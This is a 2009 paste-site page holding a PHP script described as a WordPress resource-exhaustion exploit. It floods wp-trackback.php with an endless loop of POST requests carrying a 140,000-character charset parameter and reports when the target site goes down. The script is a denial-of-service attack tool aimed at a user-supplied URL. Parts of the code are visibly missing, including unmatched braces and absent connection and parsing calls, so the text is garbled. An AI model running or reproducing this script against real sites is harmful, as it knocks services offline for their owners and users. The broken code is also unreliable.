CrowDat
By: a guest | Oct 18th, 2009 | Syntax:
PHP | Size: 1.56 KB | Hits: 420 | Expires: Never
<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
echo "You need to specify a url to attack\n";
}
$url = $argv[1];
echo "The url should have http:// in front of it, and should be complete.\n";
}
$path = "";
} else {
$path = $data['path'];
}
$path .= '/wp-trackback.php';
if($path{0} != '/') {
$path = '/'.$path;
}
$b = "";
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol';
$count = 0;
while(1) {
if(!$fp) {
if($count > 0) {
echo "down!!!!\n";
}
echo "unable to connect to: ".$data['host']."\n";
}
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
$count++;
}
?>